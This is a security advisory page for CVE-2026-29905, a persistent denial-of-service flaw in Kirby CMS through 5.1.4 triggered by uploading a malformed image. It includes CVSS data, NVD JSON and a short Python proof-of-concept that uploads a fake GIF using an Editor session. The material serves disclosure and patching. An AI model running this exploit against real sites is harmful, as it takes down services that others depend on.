Security Vulnerability Report
中文
CVE-2026-29905 CVSS 6.5 MEDIUM

CVE-2026-29905

Published: 2026-03-26 17:16:35
Last Modified: 2026-04-02 17:28:02

Description

Kirby CMS through 5.1.4 allows an authenticated user with 'Editor' permissions to cause a persistent Denial of Service (DoS) via a malformed image upload. The application fails to properly validate the return value of the PHP getimagesize() function. When the system attempts to process this file for metadata or thumbnail generation, it triggers a fatal TypeError.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:getkirby:kirby:*:*:*:*:*:*:*:* - VULNERABLE
Kirby CMS <= 5.1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-29905 # This script demonstrates uploading a malformed image to trigger the DoS. import requests target_url = "http://target-kirby-cms.com/panel/api/upload" # Example endpoint session_cookie = "kirby_session=..." # Authenticated 'Editor' cookie # Create a malformed payload that causes getimagesize() to fail or return unexpected data # A simple text file with .gif extension often triggers getimagesize() failures malformed_image_data = b"This is not a valid image file content." files = { 'file': ('exploit.gif', malformed_image_data, 'image/gif') } headers = { 'Cookie': session_cookie } try: response = requests.post(target_url, files=files, headers=headers) print(f"Status Code: {response.status_code}") if response.status_code == 500 or "TypeError" in response.text: print("Vulnerability triggered: Server error likely due to TypeError.") else: print("Vulnerability may not be triggered or payload incorrect.") except Exception as e: print(f"Error during request: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-29905", "sourceIdentifier": "[email protected]", "published": "2026-03-26T17:16:34.660", "lastModified": "2026-04-02T17:28:02.250", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kirby CMS through 5.1.4 allows an authenticated user with 'Editor' permissions to cause a persistent Denial of Service (DoS) via a malformed image upload. The application fails to properly validate the return value of the PHP getimagesize() function. When the system attempts to process this file for metadata or thumbnail generation, it triggers a fatal TypeError."}, {"lang": "es", "value": "Kirby CMS hasta 5.1.4 permite a un usuario autenticado con permisos de 'Editor' causar una denegación de servicio (DoS) persistente mediante la carga de una imagen malformada. La aplicación no valida correctamente el valor de retorno de la función PHP getimagesize(). Cuando el sistema intenta procesar este archivo para la generación de metadatos o miniaturas, desencadena un TypeError fatal."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-252"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:getkirby:kirby:*:*:*:*:*:*:*:*", "versionEndIncluding": "5.1.4", "matchCriteriaId": "F945B156-7930-45BD-9368-44FCBA294E09"}]}]}], "references": [{"url": "https://drive.google.com/file/d/1MwvvSYIwnC8kOIzjycGMQZw4d2K2ef8h/view?usp=sharing", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://github.com/Stalin-143/CVE-2026-29905", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/getkirby/kirby/releases/tag/5.2.0-rc.1", "source": "[email protected]", "tags": ["Product"]}]}}